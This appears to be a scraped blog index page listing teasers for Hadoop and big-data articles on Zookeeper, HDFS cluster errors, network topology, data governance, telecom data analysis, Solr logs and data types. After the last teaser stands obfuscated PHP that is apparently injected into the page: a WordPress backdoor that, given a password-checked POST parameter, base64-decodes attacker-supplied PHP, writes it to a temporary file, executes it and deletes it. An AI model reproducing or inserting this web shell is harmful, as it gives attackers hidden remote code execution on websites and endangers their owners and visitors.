Apache Hadoop

Few intrinsic of Apache Zookeeper and their importance

As a bird’s eye view, Apache Zookeeper has been leveraged to get coordination services for managing distributed applications. Holds responsibility for providing configuration information, naming, synchronization, and group services over large clusters in distributed systems. To consider as an example, Apache Kafka uses Zookeeper for choosing their leader node for the topic partitions. Please click here if you want read on how to setup the multi-node Apache Zookeeper cluster on Ubuntu/Linux zNodes The key concept of the Zookeeper is the znode which can be acted...

Read more...

Resolved – ” Incompatible clusterIds in… ” in Multi Node Hadoop Cluster Setup

Currently, there are many startups / small companies and their customers, working on Data Analytics, ML, AI and related solutions. Due to their budget constraints, some of them don't want to leverage Cloud-based storage.  Alternatively, to process ingested data, they create basic Data Lake using HDFS. During this process, they might encounter the exception of "org.apache.hadoop.hdfs.server.common.Storage: java.io.IOException:  Incompatible  clusterIDs in /home/....". while starting the Name Node or Master Node in a  multi-node Hadoop Cluster. This may occur in the following scenarios: ...

Read more...

Network Topology To Create Multi Node Hybrid Cluster For Hadoop Installation

The aim of this article is to provide an outline for creating network topology for Hadoop installation in multi node hybrid cluster with limited available hardware resources.  This cluster would be beneficial for learning Hadoop, with lower volume of unstructured data processing using various engines etc. Before the cluster setup: We installed Hadoop on a single node cluster running on Ubuntu 14.04 on top of Windows 10 using VMware workstation player. Later we have copied the .vmx file into multiple...

Read more...

Data Governance & Security Mechanism in Distributed Data Storage System

We are aware that the traditional data storage mechanism is incapable to hold the massive volume of  data generated with lightning speed for further utilization even if we perform vertical scaling,  and we have anticipated only one fuel, nothing but DATA to accelerate the movement across all the sectors starting from business to natural resources including medical towards rapid growth. But the question is how to persist this massive volume of data for processing? The answer is, storing the data...

Read more...

Processing and Analysis of Big Telecom Data to minimize crime, combat terrorism, unsocial activities etc.

Telecom providers have a treasure trove of captive data - customer data, CDR (call detail records), call center interactions, tower logs etc. and are metaphorically “sitting on a gold mine”. Ideally, each category of the generated data has the following information. ⦁ Customer data consolidates customer id, plan details, demographic, subscribed services and spending patterns ⦁ Service data category consolidates types of customer, customer history, complain category, query resolved etc.       are on ⦁ Usually for the smart mobile phone subscriber,...

Read more...

Deleting Solr log files/folder from Standby NameNode could be the disaster when Primary NameNode is active in the HDP (Hortonworks Data Platform) Hadoop Cluster

Most of us know that we use Apache Ambari for managing, provisioning and monitor different components of a Hortonworks Hadoop cluster. We also know that Apache Ranger can be used as a centralized security administration solution for Hadoop that enables administrators to create and enforce security policies for HDFS and other Hadoop platform components. When ranger hdfs plugin is enabled ,it writes the client interaction activity to Solr if it is configured. The default location of this solr log files...

Read more...

Semi-Structured Data

Semi-structured data lies between structured and unstructured data. Data that get stored in the traditional database system or excel sheet can be denoted as structured data and organized in COLUMNS and ROWS. Unstructured data can be considered as any data or piece of information which can't be stored in Databases/RDBMS etc. Email, Facebook comments, news paper etc. are the examples of unstructured data. Semi-structured data do not follow strict data model structure and neither raw data nor typed data in...

Read more...

Importance of unstructured data

In today's world,  Internet plays a major factor to generate and propagate information from various sources. Social media, Email, What'sApp, E-News Paper  etc  are playing a crucial role on circulation followed by creation of information.  These type of information often include text and multimedia contents.  These information or data methodically can't be persisted in database and it is referred as unstructured data. Due to advancement in  technology,  70-80 % growing data is unstructured and increasing significantly over structured/semi structured data....

Read more...

Hadoop Development Environment

We always talk about Big Data processing using Hadoop framework. By leveraging distributed cluster computing programming, now a days it is possible to process and analysis huge volume of data probably in exabytes or more than that. Giant cloud providers like Amazon, Microsoft Azure provides hosting as well as development environment with multi-node cluster according to hardware requirements on Pay Per Use model.  They usually charge on hourly basis. But the main concern is, to open an account a...

Read more...
if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}